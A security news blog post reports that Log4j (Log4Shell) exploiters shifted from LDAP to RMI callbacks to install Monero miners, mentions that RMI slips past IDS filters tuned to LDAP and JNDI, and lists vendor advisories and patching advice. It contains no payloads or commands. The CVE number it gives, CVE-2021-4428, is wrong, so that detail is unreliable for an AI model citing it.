Log4j Vulnerability exploiters evolve the attack vector to mine Monero

Cyber criminals are exploiting the Apache Log4j vulnerability and have switched their maneuvers from LDAP callback URLs to RMI or sometimes they are combined together for better success rates. In continuation to our earlier post on this vulnerability, this article will discuss the emerging attack vector exploiting Log4j.

Log4Shell Vulnerability is already being exploited in the wild and this recent changes are a development in the attacking vector and the security professionals need to be aware of these changes to defend against it. Criminals are attempting to hijack resources for mining Monero, but this can be developed further by others for multiple exploitation.

Log4J Vulnerability development from LDAP to RMI

Initially the attacks targeting the Log4J vulnerability were using the LDAP service. However, the recent development with Remote Method Invocation (RMI) API seems to be super-seeding the success rate of the attack by ensuring one over other. Compared to LDAP the RMI can be effortless channel to achieve remote code execution exploitation as VM’s usually do not own strong policies. And since LDAP routes are highly monitored this new path could be sneaky and allow attackers to achieve their mission.

This is because many IPS/IDS tools are only filtering requests with LDAP and JNDI, so RMI can fool the defenders. However, as already mentioned in some cases both LDAP and RMI are combined in the same HTTP POST request.

Findings about Log4J vulnerability by Juniper Labs

According to Juniper Labs Report, the code invokes a bash shell command to execute the downloaded script. It seems the attackers at the moment using this RMI to only mine Monero cryptocurrency and they aren’t harming any network directly. The mining is done via Linux systems, and CheckPoint said that the Win32 EXE leverages Log4j vulnerability called StealthLoader.

How to defend against Log4J vulnerability exploited via RMI

Defenders need to update Log4J to version 2.16.0 immediately. Furthermore, security professionals need to keep an eye on Apache’s Updates on Log4J and update the Log4J as and when recommended. If you need a complete breakdown about this Log4J vulnerability please visit CISA’s site.

The products affected by Log4J vulnerability named as CVE-2021-4428 are listed below,

• Adobe – Read the advisory
• Amazon – Read the advisory
• Broadcom – Read the advisory
• Cisco – Read the advisory
• Citrix – Read the advisory
• ConnectWise – Read the advisory
• cPanel – Read the advisory
• Debian – Read the advisory
• Docker – Read the advisory
• FortiGuard – Read the advisory
• F-Secure – Read the advisory
• Ghidra – Read the advisory
• IBM – Read the advisory
• Juniper Networks – Read the advisory
• McAfee – Read the advisory
• MongoDB – Read the advisory
• Okta – Read the advisory
• Oracle – Read the advisory
• OWASP Foundation – Read the advisory
• Red Hat – Read the advisory
• Siemens – Read the advisory
• Solarwinds – Read the advisory
• SonarSource – Read the advisory
• SonicWall – Read the advisory
• Sophos – Read the advisory
• Splunk – Read the advisory
• TrendMicro – Read the advisory
• VMware – Read the advisory
• Ubiquiti – Read the advisory
• Ubuntu – Read the advisory
• ManageEngine – Read the advisory
• Zscaler – Read the advisory

If any of the vendors you are looking for is missing please visit the GitHub Repository for their security advisory. If you experience any unusual behavior in your network or systems, please report it to FBI or CISA.

Subscribe to our newsletter for daily alerts on cyber events, you can also follow us on Facebook, Linkedin, Instagram, Twitter and Reddit.

You can reach out to us via Twitter or Facebook, for any advertising requests.